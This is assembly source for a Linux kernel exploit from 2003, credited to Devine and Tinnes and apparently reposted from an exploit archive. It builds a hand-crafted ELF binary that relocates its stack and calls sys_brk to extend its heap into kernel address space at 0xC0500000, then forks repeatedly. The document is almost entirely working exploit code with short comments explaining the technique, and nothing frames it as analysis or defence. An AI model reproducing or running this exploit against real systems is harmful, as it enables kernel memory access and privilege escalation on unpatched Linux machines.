; Christophe Devine (devine at cr0.net) and Julien Tinnes (julien at
cr0.org)
;
; This exploit uses sys_brk directly to expand his break and doesn't rely
; on the ELF loader to do it.
;
; To bypass a check in sys_brk against available memory, we use a high
; virtual address as base address
;
; In most case (let's say when no PaX w/ ASLR :) we have to move the
stack
; so that we can expand our break
;
BITS 32
org 0xBFFF0000
ehdr: ; Elf32_Ehdr
db 0x7F, "ELF", 1, 1, 1 ; e_ident
times 9 db 0
dw 2 ; e_type
dw 3 ; e_machine
dd 1 ; e_version
dd _start ; e_entry
dd phdr - $$ ; e_phoff
dd 0 ; e_shoff
dd 0 ; e_flags
dw ehdrsize ; e_ehsize
dw phdrsize ; e_phentsize
dw 2 ; e_phnum
dw 0 ; e_shentsize
dw 0 ; e_shnum
dw 0 ; e_shstrndx
ehdrsize equ $ - ehdr
phdr: ; Elf32_Phdr
dd 1 ; p_type
dd 0 ; p_offset
dd $$ ; p_vaddr
dd $$ ; p_paddr
dd filesize ; p_filesz
dd filesize ; p_memsz
dd 7 ; p_flags
dd 0x1000 ; p_align
phdrsize equ $ - phdr
_start:
; ** Make sure the stack is not above us
mov eax, 163 ; mremap
mov ebx, esp
and ebx, ~(0x1000 - 1) ; align to page size
mov ecx, 0x1000 ; we suppose stack is one page only
mov edx, 0x9000 ; be sure it can't get mapped after
; us
mov esi,1 ; MREMAP_MAYMOVE
int 0x80
and esp, (0x1000 - 1) ; offset in page
add esp, eax ; stack ptr to new location
; nb: we don't fix
; pointers so environ/cmdline
; are not available
mov eax,152 ; mlockall (for tests as root)
mov ebx,2 ; MCL_FUTURE
int 0x80
; get VMAs for the kernel memory
mov eax,45 ; brk
mov ebx,0xC0500000
int 0x80
mov ecx, 4
loop0:
mov eax, 2 ; fork
int 0x80
loop loop0
_idle:
mov eax,162 ; nanosleep
mov ebx,timespec
int 0x80
jmp _idle
timespec dd 10,0
filesize equ $ - $$
securitydot.net - 2003-12-02
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